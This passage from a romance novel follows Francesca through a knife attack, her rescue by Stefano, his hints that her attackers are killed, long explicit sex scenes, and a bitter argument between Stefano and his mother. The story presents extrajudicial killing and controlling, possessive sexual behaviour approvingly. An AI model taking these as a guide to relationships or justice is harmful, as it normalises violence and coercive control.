He shook her, and this time the cut was deeper and a little lower, right on the upper curve of her left breast. She could tell it was shallow and probably an accident but it burned like hell.
"I don't know who you're talking about." But she had a sinking feeling she did.
"They mugged you, and Emilio and Enzo took them away. No one's seen them since and the Ferraros are looking for me." He slid open the door to an old van and tried to shove her inside. In order to push her, he had to remove the knife.
Francesca was not getting into the van. She was certain he'd kill her just to make a point to Stefano. She turned on him, swinging her fist. He grunted, took two steps back and kicked her in the stomach. Francesca folded in half and found herself sitting on the ground. She tried to roll over, to get to her feet before he could come at her again, but he was enraged and he reached down to grab her hair in his fist.
"I'll fucking cut your throat," he snarled, and the knife came right at her exposed throat as he jerked her head backward.
Stefano loomed up behind him, a dark, shadowy figure she almost couldn't make out. He seemed to emerge from thin air, from the darkest of the shadows, coming up right behind her assailant and catching his head in the vee of his arm, one hand to the back of the skull, forcing the head forward.
The man dropped the knife from nerveless fingers and sagged in Stefano's arms. Stefano dropped him like a piece of garbage on the ground, not even bothering to kick the knife out of reach. He caught Francesca in his arms just as his brothers and Emmanuelle emerged from the shadows.
"She's bleeding," Emmanuelle announced unnecessarily. "How bad, Stefano? Does she need an ambulance? A doctor?"
Francesca shook her head. "I'm fine. Really. Just scared."
Emmanuelle ignored her proclamation, clearly looking to Stefano to give her the word one way or the other. The brothers formed a protective ring around her while Stefano inspected her for damage.
"She has several cuts, shallow, shouldn't need stitches, but I saw him kick her. She'll have a bad bruise."
"Who is he?" Francesca asked.
"Later, _amore_ ," he said, his voice clipped. "We have to do damage control."
"Get her home," Ricco advised. "We'll do cleanup and call you when it's done."
Francesca didn't like the sound of that, all too aware that the man had said his friends had been the ones to try to rob her and they'd disappeared. The last she'd seen of them, Emilio and Enzo were putting them into a car and taking them off somewhere.
"Stefano," she tried again.
He simply pulled her into his arms, swinging her up to cradle her close, snapping orders. A car pulled up, a man driving she'd seen, but didn't recognize. Clearly he was family to the Ferraros; another cousin she was certain. He had to be one of the bodyguards who had taken Emilio's place.
Stefano carried her to the car, Ricco stepped forward and opened the door to the backseat and Stefano slid inside, keeping Francesca in his arms. The door slammed shut and the car was in motion. Stefano dropped his chin on top of her head. "That scared the hell out of me. Hearing him threatening you. Your scream. I think it took thirty years off my life."
She closed her eyes and sagged against his chest. "He seemed to think you had something to do with the disappearance of his friends. You didn't, did you, Stefano?" She didn't open her eyes, but she listened, because it was very important to her to hear his voice, to hear the truth or a lie.
"I know they are no longer alive," he admitted carefully. "But I didn't kill them."
That was strictly the truth, but even that admission was enough to start her heart pounding. She tried to push the thought away that Stefano and his family were part of organized crime, but no matter what she did, she couldn't get around it. There were too many coincidences as far as she was concerned. She tried to get off his lap, but Stefano's arms tightened around her.
"Settle, _dolce cuore_. We'll talk about this once we're home."
"Stefano . . ." What was she going to say? She couldn't leave him. The thought of being without him made her ill. She wouldn't survive it. Somehow, and she wasn't even certain when it had happened, she'd fallen hard and fast. She was in so deep, even knowing he was a criminal, she might not be strong enough to walk away from him.
He nuzzled her neck. "Let's get you home, clean you up and I'll make dinner for us while you rest. After, when you're feeling better, we'll clear everything up."
She heard the ring of truth in that as well. He wasn't avoiding talking to her. He just wanted her warm, safe and comfortable. That helped to ease her mind. Surely if he was a criminal he would be far more hesitant to talk about the muggers and why he knew they were dead.
"What's going to happen to that man? The one who attacked me?"
Silence filled the car. The air went very heavy with his anger. Heat vibrated in the air, and all over again, dread filled her. Stefano didn't answer and she didn't ask again. The car pulled up to the private entrance around the side of the hotel, the one that looked like an employees-only door, but only family had the code. The bodyguard got out first, took a careful look around, opened the door and signaled to Stefano.
Stefano refused to put her down, even in the private elevator or when they reached the apartment. He carried her on through to the master bedroom and put her on the bed before collecting warm washcloths and a first-aid kit. Francesca detested how safe she felt with him. The soft, loving look on his face. His touch as he cleaned the shallow lacerations. There was no doubt in her mind that he cared about her. She was important to him—maybe too important.
"Are you going to kill him, Stefano?" Francesca had to ask. She already knew the answer, but she had to ask. She had looked at his face, right there, when he'd had his arm around her assailant's neck and she knew he was capable of killing that man. His eyes had been flat and cold. Like ice.
"He's going to die, but I won't be the one to kill him." There was no inflection in his voice. None. "I'm not ever going to lie to you, Francesca. You're going to be my wife. I won't do that to you, but if you're going to ask me questions, you be absolutely certain you want and can live with the answers."
"What if I can't live with the answers?" she asked in a small voice. She heard the tremble. She was scared. Not of Stefano, but of what he was. Of what he might tell her and she'd lose him. She couldn't lose him.
"Then don't ask until you can." His hands dropped to her blouse. He pulled it over her head and tossed it away from him. It was covered in blood and he obviously didn't feel the need to try to save it. Her bra was next and then he was examining the angry cut across the swell of her left breast.
"Fucker," he whispered, and leaned down to brush the lightest of kisses across the laceration. "I don't get how a man can do this kind of thing to a woman or to children. What's wrong with them, Francesca?"
She couldn't stop herself from cradling his head to her. He sounded tired. Sad. "This isn't just about me, Stefano. Tell me what's wrong."
"It's work, _bambina_ —sometimes I see and hear terrible things I just can't comprehend. It's work though."
"I get that. You don't have to be specific, but you need to talk to me about this. Maybe you should go relax and I'll fix you dinner."
He lifted his head, his blue eyes meeting hers. "You would do that for me after being attacked, wouldn't you? You'd think about me, not yourself." There was wonder in his voice. Admiration. Respect. Mostly, she heard what sounded suspiciously like love. Her heart fluttered because yes, he looked tired and upset and she rarely saw him that way. She doubted if anyone ever did.
"I received a report today about a young girl. A teenager, seventeen years old. She lost her mother two years ago and was given to her stepuncles to take care of her. Unfortunately, all three uncles are involved in a very violent gang. Her mother had married their brother and they lived far away from the gang, but no one took that into consideration when they placed the girl with her uncles. She didn't know them, she didn't love them and now she's in a terrible situation."
"At seventeen, can't she ask to be removed?" Francesca felt her way carefully.
Stefano stroked his fingers over her breasts, down her belly to her jeans. He carefully tugged until she stood in between his thighs. He unzipped the denim and pulled them from her hips, taking her lacy panties with them.
"A social worker tried. The girl was being abused in every way. Sexually. Physically. Emotionally. She wasn't removed from the home and the gang threatened the social worker and her family. She'd promised the teenager she would get her out, and then she couldn't follow through, not without risking the lives of her husband and children."
"The police . . ."
"Can't stop the gang members from getting to the social worker and her family. So she petitioned for help from our family." He guided her back onto the bed. "Lie down, _dolce cuore_. I want to check out your stomach. I need to make certain there isn't any internal damage."
"Will you be able to help her?" Francesca stretched out. She had been naked around him for a week now, yet she still felt shy.
"I hope so. We'll see. I just don't understand that mentality. I can see belonging to a gang. I can't see abusing a woman that way. Especially when she's your family. I just can't seem to wrap my head around that."
His fingers probed all over her stomach. She winced a couple of times, but surprisingly, it didn't hurt very deeply.
"You'll have a bruise or two, but thankfully, he didn't manage to cause any real damage. I'm going to run you a hot bath and you can soak while I fix you dinner."
She caught his hand. "Let's both take a bath, Stefano, and then we can share the cooking. You said you aren't that good, but, honey, I am. I like to cook. You have a great kitchen. You've had a difficult day, too. I'd rather share the bath and dinner."
He stood over her a long time. So long she thought he might not respond. The expression on his face was difficult to read. Finally, he brushed at her hair with gentle fingers and shook his head.
"I'm so in love with you, Francesca. You give me so many miracles and you don't have a clue that you do. No one takes care of me. No one. Not when I was a boy and certainly not now. I think you're the most beautiful woman I've ever seen. I love the sound of your laughter, and your smile lights up a room. I watch you with the people in the neighborhood and you're so great with everyone. They all gravitate toward you, and you treat each of them with genuine interest and caring. I think that's enough reason to love you, but then you do this." He shook his head.
Francesca wasn't certain how to respond. He seemed shaken and she didn't really understand what she'd done. "Honey, you're every bit as important to me as I am to you. I _want_ to take care of you. No, that isn't right. I _need_ to take care of you. You matter, Stefano." She sat up and held out her hand to him.
He stared at her hand for a long time. "You asked me a couple of scary questions, Francesca. I gave you a couple of scary answers. You didn't flinch, but I saw it in your eyes that you thought you might not be able to live with those answers. I'm not altogether certain I could give you up now, but I'd try if you need to leave me. I can't walk away from what I do—it's too important. But you should have a choice, so I'm going to attempt to be a better man and give that to you. A onetime offer."
She could see that it killed him to make the offer. _Killed_ him. She kept her hand outstretched toward him. "I couldn't leave you even if I wanted to. I don't know how I would survive without you."
He stared at her for another heartbeat and then he ignored her hand and took her right back down to the bed. It was a long time before they got their bath or food.
# CHAPTER EIGHTEEN
Francesca woke with her heart pounding and her mouth dry, the taste of blood in her mouth. Her tongue found the small tear in her lip where she'd bit it to keep from screaming and screaming like she wanted to. Instantly she felt his arms. His thigh between hers. His body wrapped around hers, keeping her safe. Stefano. She drew in breath and took his scent into her lungs.
_"Bambina."_
His voice was soft. Warm. So gentle it turned her heart over. One of her favorite things to do with him was just lie in bed and listen to him talk, especially about the neighborhood and the people in it. The affection in his voice was always stark and real. She especially loved these moments—in the dark, surrounded by his protective body and his voice sliding over her like the touch of his fingers. Caressing. Soothing. Driving away the remnants of her nightmares.
Stefano was always gentle with her in the middle of the night when she woke, his mouth soft against her skin, his driving needs held in check while he comforted her.
"What was it?"
"He's coming for me." Her heart still pounded. Her stomach felt queasy. She knew there was no way Barry Anthon would have missed the news that Francesca Capello was engaged to marry Stefano Ferraro. The announcement was in all the news. In magazines. Television. Stefano's publicist handled everything and made certain information on the engagement was spread far and wide.
"That's the idea, _dolce cuore_. We want him to come after us. We want him out of your life once and for all. That means drawing him out. Letting him make a mistake."
"You can't underestimate him, Stefano," she warned, a cold shiver creeping down her spine.
He stroked her rib cage with the pads of his fingers. Traced his name, brushing the letters until they looped on the underside of her breasts. He painted little sparks of electricity all over her breasts with soft, unhurried touches. His hand moved back to her rib cage and he tugged until she rolled onto her back. He kissed the marks at her throat and over her breast, featherlight kisses to remove every trace of the sting of a knife.
Francesca's heart jerked hard in her chest at the sight of his face so close to her. God, but he was gorgeous. Impossible to resist. "I've fallen so hard for you, Stefano," she whispered. "Please be real. Please don't hurt me. I don't think I'd survive it." The admission slipped out before she could stop it.
She knew what she was revealing to him. Those fragile feelings she couldn't help. Stefano was larger than life. A throwback to an era gone by when men were fiercely protective of women and children. Where having a code meant something. Giving his word and keeping it was a matter of honor.
His blue eyes burned over her like twin flames, taking her breath. So intense. Desire flaring. Hunger and possession stamped into the sensual lines of his face. "It doesn't get any more real than what I feel for you, Francesca," he said softly. His hand moved from her throat to the junction of her legs, his touch gentle, unhurried, unlike his usual rough, wild possession. "What we have together. It fills me up, _bella_ , until I'm almost bursting. I've always been empty, and now you make me full. There's no going back for me."
Stefano shifted his body, rolling over the top of her so that his thick, heavy erection was nestled in the cradle of her hips. One knee nudged her legs apart. One hand caught her left leg, bent it and drew it around him, opening her up to him. Every silent command was gentle. Insistent, but gentle.
Her heart turned over and then began hammering, each beat thundering in her ears, rushing through her veins and pounding in her clit. She ran her hands up his chest. She loved the way his muscles were so defined, the way they rippled suggestively beneath his skin when he moved. Like a tiger. She shivered. Just touching him sent heat curling through her body and damp liquid made her slick with welcome.
"There's no going back for you, Francesca. Whatever happens, we'll face it together." He bent his head and kissed her chin. Nibbled his way under her chin to her throat. He punctuated each kiss with a bite. Each bite made her hips buck with need. This was a slow burn, not the out-of-control wildfire he created. The burn took her over, cell by cell, settling in before she was fully aware of what was happening.
"I reserve the right to protect you, Stefano."
His gaze moved over her face, melting her with those twin blue flames. "I love how you truly believe I need protecting and that you're so willing to try." He bent his head to her breast, his dark hair brushing over her bare skin. "Every moment I'm with you, _bambina_ , I fall harder. It's difficult for me to believe you're real. You aren't the only one a little terrified."
His mouth made her squirm. Catch her breath. He knew exactly what he was doing to her, just how to bring that slow smolder to a hot burn. His hands moved over her skin. Possessive. Loving. Tender. So tender it brought tears to her eyes. His admission rang with truth and that brought a lump to her throat. Her Stefano.
He kissed his way down her body, keeping that slow, unhurried pace, but it was more intense than she thought possible. It felt as if he was worshiping her. Showing her with his mouth and hands how much he loved her.
Stefano took his time, savoring the taste and texture of Francesca. It was impossible to put into words what he felt for her. He'd had no idea he _could_ feel for a woman what he did each time he touched her. Hell. That wasn't exactly the truth. It happened each time he thought of her, which was every minute of every day. She was fast becoming his obsession.
He couldn't wait to be in her. Home. That was what she was to him. A woman who saw him. He kissed his way up the inside of her thigh, feeling her shiver. He loved her reaction every time he touched her. The silk of skin. The heat. He knew he shouldn't be happy for all the women he'd had before her. He couldn't remember them and they paled into insignificance, but he was grateful for the experience, to be able to give his woman so much pleasure.
Her soft little moans sounded like music to him. He waited for the breathy hitch in her voice before he dipped his head again and nuzzled that sweet, sweet treasure between her legs. Her hips bucked and he pinned her down, forcing her thighs farther apart as he inhaled her scent.
She was a siren calling to him. His gaze slid up her body, drinking her in, devouring her. Could a woman be any more beautiful, laid out for him, her body flushed, breasts swaying with every undulation and shift she made. Her hair was everywhere, just like he loved it, that cloud of dark silk felt like heaven against his skin. He dreamed of her hair sliding over him as he fucked her slowly. Fast. Any damn way he wanted.
"Who do you belong to, _bambina_?" He licked at her, licked at the orange-and-cinnamon-scented drops of honey spilling out of her. All for him. Every single bit, just for him. She didn't know yet. She was still leery of the relationship, not trusting anything that happened so fast. Knowing his family was far more than he was telling her. Still, she was there. With him. Committing to him in spite of her fear.
He needed her to commit all the way. To be so far into him, she couldn't walk away. He wanted their shadows merged—a dangerous thing to do if she wasn't fully his. It was a risk he knew could lose him everything. He'd end up a shadow himself, no longer a rider, something he was born to do. Every day they were together like this, so intimate, their shadows connected, beginning the seal between them.
"Answer me, Francesca." He used his black velvet voice. The one no one ever dared disobey. The one commanding truth. "Who do you belong to?" He plunged his tongue deep, because he couldn't resist her scent one more moment. His hands shaped her hips, her thighs. Slid over the dark curls at the vee of her legs. Possessively. He knew exactly who she belonged to.
"Stefano."
She said his name on a gasp, her hands finding his hair, gripping, pulling. He loved the bite of pain. His cock loved it, too.
"I belong to you."
Four beautiful words. He added a finger to her tight sheath and her muscles contracted around it, bathed him in hot liquid. He marveled that she could take him. She always felt far too tight, yet she was perfect for him.
"That's right, Francesca. You're mine." Because he couldn't live without her. He couldn't ever again come back to one of his houses without her in it.
He moved up her body, keeping her thighs wide, bending one leg at the knee to curve it around his body, wanting her to lock him up tight. He did the same to the other leg so that her body cradled his and her legs circled his thighs, ankles crossed to hold him to her.
He brushed at her hair, and took her mouth again. He'd never be able to resist her mouth. He loved everything about it. How soft. Like velvet. Full lips. Her smile took his breath every time. She had the cutest little dimple, barely there, that came and went when she smiled. Her taste was exquisite. Addicting. He kissed his way down her chin and took a small bite. Felt her body shudder beneath his in reaction.
Her neck was next. He loved the way she arched, giving him access, even when he bit her that little bit too hard. It was impossible not to sink his teeth into her. She was just too—perfect. Just too his. Everything he could imagine he would want in a woman and so much more.
Her hands stroked his back, fingernails bit deep into his shoulders. His cock jerked, his balls tightened. She was perfect. Fucking perfect. He worshiped her breasts, taking his time, even when she tried to impale herself on him. He loved that. Loved the way she needed him. Her eyes had that glazed look he was hungry to see. The look that said she was so far gone he could do anything to her and she'd let him, because she was every bit as wild for him as he was for her.
He guided her legs higher, so that they wrapped around his waist, exposing that soft center of hers. A flower. He lodged the head of his cock there, feeling the burn. So slick with welcome. He loved that too. How wet she got for him. How responsive she was to him. She was everything. When a man had nothing for his entire damn life, there was no mistaking the real thing when she walked unexpectedly into his world.
He pushed slowly into her. Inch by scorching-hot inch. Watching as she took him in. Watching as her body swallowed his. It was beautiful. Fucking perfection. His gaze on hers, he threaded his fingers through hers and pressed their joined hands into the mattress.
He'd never felt anything so intense as he did right in that moment. The clasp of her sheath strangling his cock, a vise made of breathing silk, the tunnel so hot and tight it took his breath. He moved slowly. He didn't want to. He wanted to fuck her hard, but right then, he couldn't. He was helpless, caught in her spell. Mesmerized by her beauty—by the beauty of her body and what it could do to his. Mesmerized by her heart, the heart that belonged to him.
He found himself hypnotized by the small noises Francesca made in her throat that always drove him wild. The way her eyes darkened as lust overtook her. He was acutely aware of every detail, every movement. The way she tilted her pelvis to take him deeper. The way she lifted to meet him, matching his rhythm exactly. Accepting whatever pace he set. Hard. Slow. Gentle. Fast. She gave herself completely into his keeping.
"That's right, _dolce cuore_ ," he whispered, feeling it build in her, coiling and burning. She was close. The hitch in her breathing, the raw carnal need etched into her face. So beautiful. All his. "Give it to me now." He pushed command into his voice, wanting to feel the pulse of her body, that tight grip milking at him. The scorching friction and searing heat she surrounded him with. He wasn't yet ready to let her take him over the edge. He wanted more. Much, much more.
She gasped as the climax took her, her gaze never wavering from his. Her eyes went wide with a kind of dazed shock and her body shuddered and rippled with a powerful orgasm. He kept moving in her, picking up the pace, pounding through her climax, prolonging it.
He couldn't help himself. He drove deeper, lifting her hips to him, fingers digging into her perfect little heart-shaped bottom. Fucking her hard. Really hard. She belonged to him. Every inch of her. Her orgasms belonged to him. Her silken sheath, so tight he thought he might not live through every time she surrounded him—that belonged to him. He buried himself in her over and over. Taking her. Owning her. Savoring her. Her scent. The feel of her. _Dio._ Her taste, so exquisite he was addicted and woke every fucking morning with her on his tongue.
He wrapped her hair around his fist, just because he fucking owned her hair, too. She let him, even when he jerked, pulling hard, turning her head to force her to keep watching his face. He reveled in the sight of her under him, pinned there, unable to move, her legs wrapped around his waist, locking them together while he rode her hard.
He belonged there inside of her. She was . . . _la sua casa_ —his home. Home wasn't a place with four walls. Home was a scorching-hot, tight sheath made of silk. Home was blue eyes he could drown in. Home was soft skin and an eager mouth, hands that stroked and caressed, nails that bit deep in passion. _She_ was home. Francesca.
He was close—so close to the end of his control. He felt the heat skittering down his spine. Up his thighs. His balls tightening. She was beautiful, her entire body flushed, her mouth open, panting, singing a ragged chant, a breathy call of his name. "Mine." He nearly spat the word. Telling her. Wanting that word branded into her bones. Wanting his name carved deep in her soul. She. Was. _His_. His everything.
Her muscles tightened, clamping down again, that scorching vise he would never get used to, the one that felt so fucking good. Paradise. Exquisite pain and pleasure coming together in perfect harmony. Forcing his explosion so that his entire body seemed to come apart. Milking him dry.
"Francesca." He breathed her name in reverence. His woman. He hoped she felt what he was trying to show her with his body. Love wasn't the right word, not when it was everything. Not when it was so intense.
She stroked his hair, her eyes drowsy. Sated. Staring into her eyes shook him because he found himself drowning in her blue gaze, experiencing the most powerful emotion he'd ever felt. She shook the foundations of his world.
He allowed himself to collapse over her, burying his face against her neck. He nuzzled her there. Kissed her. Bit down as gently as he could, feeling her body shudder and quake around his as he glided into her over and over. Slow again. Bringing them both down from that exhilarating rush.
When he finally found the strength to withdraw, he rolled her onto her side, back to him, curling his body around her.
"I have to clean up."
"No." He made it an order. "Tonight you sleep with me inside you." He had a primitive desire to own her body all night. He waited for her to protest. What woman wouldn't protest? His seed would run down her thighs. Make a sticky mess. She had every right to protest. He closed his eyes and pressed his forehead into the back of her head, into the luxurious mass of dark hair. Waiting.
Francesca laughed softly, and the sound teased every one of his senses. Made him indescribably happy. He lifted his head because he had to see her. One hand moved the cloak of hair, exposing the tilt of her mouth. That sweet, sweet curve.
"You're kind of a caveman, sometimes, Stefano. But it's sexy. Really, really sexy."
The breathless quality to her voice brushed like fingers over his belly, making his cock grow semihard when he'd just been feeling sated. She could make him insatiable. She already had. He was used to having a strong sex drive, mostly when he came out of the shadow portals, the adrenaline rushing through his veins, but now, he thought about sex about every third second. Sex with his woman. Francesca.
"Glad you think so, _amore_. You need to go back to sleep. You have work in the morning. Unless . . . " He paused hopefully. When she didn't take the bait, he sighed. "You could quit."
"I'm not going to be a kept woman, Stefano."
He was silent. He wanted to keep her. It was necessary to him. "You do know I'm filthy rich, right? My family has money. I have money. I would much rather spend it on you than on anything or anyone else." He spoke low, trying to keep his tone even. He knew money was going to be a sore subject with her. She'd been homeless. And she had a streak of pride a mile wide.
"You bought me an entire wardrobe, honey," she said.
Her voice was quiet. Almost gentle. He could tell she was trying to tiptoe around his pride. It wasn't that though. "It's about me needing to do things for you, Francesca. It makes me happy. You have no idea how happy. I've never had this before."
It was difficult to make the admission, not with his emotions choking him. He was grateful he was behind her, his body locked around hers. He tightened his arm around her chest, and pushed his hips deeper into her. She was so soft. Incredibly soft. And warm. Her perfect little ass pushed back against him, and he closed his eyes against the streak of white lightning shooting through his cock to his belly.
"I'll keep my job for the time being, Stefano. It helps me learn about all the people in the neighborhood. You grew up with them. I would like to get to know them. I can tell they matter to you—you help them out a lot. If I'm going to be your wife, then they should be able to come to me so I can take some of the burden off you."
His heart jerked hard in his chest. The pressure was strong, an actual pain. She _was_ going to be his wife. He would accept nothing less, but to have her want to get to know the people in his world just so she could help him reduced him to putty. She didn't know it—and thank God she didn't—but she had him in the palm of her hand. She had all the power in their relationship. She probably always would.
"You're killing me, woman. Go to sleep." Because he couldn't take much more.
"Not yet."
_"Bambina,"_ he said softly, sweeping the hair from her neck to over her shoulder. He pressed his lips against her bare nape. "Go to sleep. If you don't, I'll know I didn't do my job, wearing you out." He murmured the words against her soft skin, his teeth scraping back and forth gently, the desire to take a bite out of her strong in him. "That will mean I'll start all over again, which I don't mind, but I'll get you sore. So close your beautiful eyes for me and go to sleep."
She sighed. "I wish I could, but I keep thinking about the poor girl, Stefano. The one you told me about."
He closed his eyes. He had no right blurting out details of his assignments no matter how disturbing or upsetting. "Francesca, I should never have told you about her. I don't know why I did. You don't need to hear things like that. Not ever." He stroked her hair. He loved touching her. He fucking needed to touch her.
"Of course I do," Francesca protested, snuggling deeper into her pillow.
He loved the way her bare skin slid over his. Like silk. Or satin. So sinful he wanted her all over again. His cock just kept throbbing. Demanding. He pressed deeper against her ass, finding the crease there. He used one hand to circle his shaft, closing his eyes against the pleasure sweeping through him.
"Anything that upsets you, I want to share. I want you to be able to talk to me about your work. I might not be able to do anything but listen, but at least I can do that. The thing is, if you're reading reports on this girl, that means you're considering some way to help her."
He met her statement with silence. She turned her head to look over her shoulder at him. _Dio._ So fucking beautiful. Her eyes. The way she looked at him as if he were the only man in the world. He buried his face in her hair, escaping that wide blue gaze.
"You're too damn smart for your own good, Francesca. We're getting into things I can't talk about until my ring is on your finger."
She blinked at him and then turned back to lay her head on her pillow, her fingers curling into a fist beside her chin. "Your ring is on my finger," she pointed out, her voice low.
He reached across her body to lift her left hand, his thumb sliding over the engagement ring. He loved seeing it on her finger. Feeling it there. "You have to have my wedding band here as well. That's how this works in my family, _amore_."
Francesca was silent for a long time, and his heart pounded. She couldn't slip away. She just couldn't. Not now. He wouldn't allow it. He stayed quiet, afraid to say anything. Afraid not to.
"Stefano, I know your business isn't legal. I suspected all along, but you told me your family doesn't sell drugs or run guns and I believe you. I can't imagine you involved in prostitution or, worse, human trafficking."
His heart continued to pound. Blood thundered in his ears. Was she making a leap of faith or about to tell him to fuck off? He held himself very still, waiting for her to shatter him.
"Your family isn't like the Saldi family, in the news suspected of all kinds of heinous crimes. Still, in spite of your banks, hotels, nightclubs and even the casinos, I'm fairly certain your family has an illegal side to some of the things you do."
Not his _entire_ family. Just the ones that would matter to her. He wanted to kiss her, cover her mouth with his. Stop her. In that moment he knew she could shatter him. Break him into a million pieces and he'd never recover. Not in this lifetime. He realized all the lore in his family was truth. Ferraro men, when they found the right woman, loved her with everything in them and they did it only once. Francesca was his once.
"To be with you, I can accept a lot of things, Stefano, but not silence. Not being kept in the dark. I know that there isn't always justice in the world. Believe me, I am living proof of that. It isn't like I'm ever going to go running to the police believing they'll help me. I did that too many times."
She made a move, as if she might put distance between them. He wasn't having that. He refused. He tightened his arm under her breasts and tucked her into his side, pushing his cock into the cleft of her rounded cheeks, deep, claiming that part of her for his own as well. Making a statement. She subsided, but that didn't stop the tension from coiling tighter in his gut.
"This girl. The one you read about. I don't know why people come to you for help, but if you can get her out of that situation, I'm behind you 100 percent."
She turned her head again to look at him over her shoulder. Her blue eyes were dark. Beautiful. Filled with possession and pride. For him. Fuck. She was killing him, taking him over, one slice of his soul at a time. His cock hardened until he thought he might shatter. Or maybe his heart was going to fragment into a million pieces.
"And, Stefano, I don't care how you have to do it, legal or otherwise. Just help her if you can." A soft dictate. An acceptance.
His heart nearly exploded. He reached down and caught her hips, tugging her into position, one hand sliding between her legs. She was filled with him. Slick with him. Slick with the both of them. He lifted one of her legs and just slid home. Buried himself deep. Stayed planted as deep as humanly possible while he held her to him. While he buried his face in the ultimate luxury of her thick dark hair. He didn't move, just stayed locked to her. Buried in her, right where he wanted to live. Home.
"Stefano?" Her voice caressed his skin. Melted into his bones. "Honey, you have to move. You can't tease me like this."
He found himself smiling like an idiot. If his brothers saw him now they'd call him whipped, and he wouldn't care. She was exhausted, had to get up early and she had that little demand in her voice that was sexy as hell. So hot, his woman. So fucking hot. He complied and gave her exactly what she wanted. He'd give her the world every time.
* * *
Francesca woke to the first streaks of light invading the bedroom. She knew instantly she was alone and for a moment her heart thudded in protest. She buried her face in the pillow. The scent of Stefano still lingered in the room. In her. On her. She stretched and muscles protested deliciously. She liked that. She liked belonging to him. Knowing his mark was on her and that every time she took a step, she'd feel him inside her.
She sat up, pulling the sheet with her when she realized she didn't have a stitch on. Blinking, she pushed at the hair tumbling around her face and down her back. The room was immaculate. Stefano had picked up their scattered clothes. She found herself laughing as she made her way to the master bathroom. She was happy. She hadn't expected to ever be happy again. Not after losing her parents. Not after losing her sister. Not after Barry Anthon had begun his campaign to take everything from her.
The water was hot, just the way she liked it. It poured over her, soothing the soreness in her muscles. Stefano always, always ensured she found nothing but absolute pleasure in his arms, but he wasn't a gentle lover. He could be sometimes, but it was rare. Gentle usually turned into rough. Hard. She loved rough and hard with him; anything at all he wanted to do, she was totally into. He liked to put his brand on her. She loved those marks of possession, but her body sometimes protested. Hot water took care of that, leaving her with a straight happiness vibe.
She dressed carefully in one of the many skirts Stefano had bought her. He had great taste in clothing. She was fairly certain she'd seen this particular skirt in the window of Lucia's Treasures. It was a beautiful royal blue, the material exquisite. Flowy. A handkerchief hemline. The skirt rode low on the hips and the matching top, out of the same material, was a corset with a zigzag of royal blue cord through eyelets lacing up the front. She loved the way it narrowed at her rib cage and emphasized her small waist.
She had curves—hips and breasts and, as far as she was concerned, too big of a butt—but the cut of the skirt and matching blouse was flattering. She loved the way the material felt as it swished around her legs and fell over her hips in a sexy sway. She added soft suede boots and dried her hair in a loose cloud of dark waves. At the deli she'd have to pull it back to work around the food, but she wanted to look nice when she kissed Stefano good-bye. Her sweater was lacy, an intricate pattern, soft and warm, with tiny buttons going up the front.
Giving herself one last look in the mirror, Francesca stepped out into the hall and started toward the living room. Immediately she heard a woman's voice. Low. Furious. Filled with contempt and repressed anger. Not a hot anger, but cold, like a vicious snake, coiled and ready to strike.
"Do you have _any_ idea who this woman is? You should have had her investigated before you ever allowed the media to get ahold of pictures of you with her. My God, Stefano, she's been in a mental facility. She'll drag our good name through the mud, and you'll let her."
Francesca stopped moving instantly, one hand going protectively to her throat, her legs like rubber. That cold voice was talking about her. There was no mistaking that at all. She'd been locked up for seventy-two hours.
"They do say that the mentally unbalanced are a good lay," the voice continued, the contempt deepening. "But I _forbid_ this. Our name means something, and just because you can't keep your dick in your pants . . ."
"Eloisa, that's enough."
Francesca flinched at the tone of Stefano's voice. He was angry. Not his usual enraged but under-control anger; this was a smoldering, scary, very low voice that indicated he was extremely dangerous.
"I'm your mother . . ."
_"Don't."_ His voice was a whip, lashing out with a viciousness Francesca hadn't known him capable of. "You lost the right to call yourself my mother a long time ago. You never played that role, and now isn't the time to start. You don't know the first thing about my relationship with Francesca."
He called his mother by her first name? Eloisa? Clearly there was a huge rift between mother and son. Stefano was a man who believed in protecting women. It was ingrained in him. At his very core. It shocked her that something had gone so wrong in their relationship that Stefano was disrespectful to his mother. She'd had a few clues. He hadn't included her or his father in the meeting with his cousins when they'd asked her about Barry.
"I know that you're running out of time and you saw a woman who was compatible with you and what you are. You know in another couple of years you'll have to make a match of convenience, so you took the first thing that came your way because you just _have_ to be in control." Eloisa's voice dripped with sarcasm. It also rang with honesty.
Francesca threw one hand out toward the wall to steady herself. What did that mean? A marriage of convenience? Why would Stefano _have_ to marry anyone? That didn't make sense. He could have his choice of any woman. He was gorgeous, had tons of money, as well as a million other reasons why a woman would want him. What did Eloisa mean? _Compatible with you and what you are?_ What was Stefano that any woman wouldn't be compatible with him?
"What I choose to do or with whom I do it isn't your concern."
Knots coiled tight in Francesca's belly. Stefano wasn't denying anything his mother had said. He was protesting her right to say it to him.
"This family is my business. I've given my _entire_ life for it, and I won't let your sex drive or your need to prove to me or your father that you're the one in control, not us, ruin everything."
"I've given my life to this family," Stefano said, his voice dropping even lower.
His tone made Francesca shiver. She could actually feel the heat of his temper filling the room and drifting down the hall toward her. She wouldn't have been surprised to see the walls bulge outward in an effort to contain his temper. She never, ever wanted him that angry with her.
"My sex drive is none of your business and it never will be. I am the one in control of the family, not you and don't ever be stupid enough to test me on that, Eloisa. You didn't listen to me when I told you what would happen if you sent Ettore into the tubes. I told you he was too young and far too sensitive for this kind of work, but you just had to pull rank on me because you didn't want the family to know you didn't know the first thing about your children and they were all there. The others told you. Ricco, Giovanni, Vittorio, hell, even Taviano and Emmanuelle. All of us. But you just had to prove your point. My baby brother. I was the one who held him in my arms. I was the one who got up at night to feed and change him. Not you. I picked him up when he cried and rocked him back to sleep."
"He was weak," Eloisa said in a small voice. "He needed to be a man. I tried to make him a man. You coddled him too much. You always did."
"He was different, Eloisa, but you refused to see that because, God forbid, you and your husband couldn't possibly produce a less-than-perfect child. Now Ettore's just dead."
Francesca's heart broke for Stefano. There was genuine sorrow in his voice. The sorrow a parent would feel for the loss of a child. She took a step toward the living room, needing to comfort him.
"I've known Barry Anthon's parents for some time, Stefano. He comes from good people," Eloisa continued, as if they hadn't just been discussing the loss of her son. "This deranged woman you call your fiancée accused Barry of murdering her sister—did you know that? It's absolutely absurd. She's got a police record. She's a criminal as well as a mental patient. Give her money to go away. She's not the only rider in the world. They're out there. You just have to look around a little bit. _Dio_ , Stefano, at least admit you wouldn't have looked at her twice if she weren't a rider. Be honest with yourself and with me."
"That may be true, Eloisa," Stefano said. "But I did look at her."
Francesca closed her eyes. She'd heard enough, far more than she wanted to hear. Stefano's reason for seeking her out hadn't been compassion because she didn't have a coat. It hadn't been because he was attracted to her. Whatever being a "rider" meant was his true reason for going after her. For asking her to marry him.
She closed her eyes against the tears burning in her throat and behind her eyes. She just had to get out of there with a little dignity and then she could sort things out.
